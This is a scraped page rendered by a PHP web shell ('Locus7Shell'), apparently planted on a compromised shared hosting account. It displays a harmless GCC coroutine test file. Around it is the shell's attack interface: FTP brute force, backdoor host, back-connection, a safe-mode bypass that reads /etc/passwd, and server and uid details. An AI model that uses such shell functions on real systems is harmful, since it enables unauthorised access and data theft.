Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/coroutines/torture/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr98704.C (2.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
//  { dg-do run }
#include "../coro.h"

#include <stdexcept>

int frame_live = 0;
int promise_live = 0;
int task_live = 0;

struct Task
{
    struct promise_type;
    using handle = std::coroutine_handle<promise_type>;

    struct promise_type
    {
        promise_type () { promise_live++; PRINT ("promise_type ()"); }
        ~promise_type () { promise_live--; PRINT ("~promise_type ()"); }
        void* operator new(size_t sz) {
            PRINT("operator new()");
            frame_live++;
            return ::operator new(sz);
        }
        void operator delete(void* p, size_t sz) {
            PRINT("operator delete");
            frame_live--;
            return ::operator delete(p, sz);
        }

        Task get_return_object() { return handle::from_promise(*this); }
        auto initial_suspend() noexcept { return std::suspend_always{}; }
        auto final_suspend() noexcept { return std::suspend_always{}; }
        void return_void() noexcept {}

        auto yield_value(int x) noexcept
        {
            PRINTF ("yield_value(%d)\n", x);
            return std::suspend_always{};
        }

        void unhandled_exception()
        {
            PRINT ("unhandled_exception()");
            throw;
        }
    };

    Task(handle h) : coro(h) { task_live++; PRINT ("Task(handle h)"); }
    ~Task() { task_live--; PRINT ("~Task()"); if (coro) coro.destroy(); }

    handle coro;
};

Task myco()
{
    co_yield 42;
    throw std::out_of_range("TEST EXCEPTION");
}

int main()
{
  {
    Task task = myco();
    PRINT ("START");
    try {
        PRINTF ("done #0 = %d\n", task.coro.done());
        if (task.coro.done())
          abort();
        task.coro.resume(); // will yield 42
        PRINTF ("done #1 = %d\n", task.coro.done());
        if (task.coro.done())
          abort();        
        task.coro.resume(); // will throw exception
        PRINT ("should not be reached");
        abort ();
    }
    catch (const std::exception&) {
        PRINTF ("done exc = %d\n", task.coro.done());
        if (!task.coro.done())
          abort();        
    }
    if (!task.coro.done())
      abort();        
  } // should cause cause the destroy () to run.
  if (task_live || promise_live || frame_live)
    {
      PRINTF ("task_live = %d, promise_live = %d, frame_live = %d\n",
               task_live, promise_live, frame_live);
      abort ();
    }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0066 ]--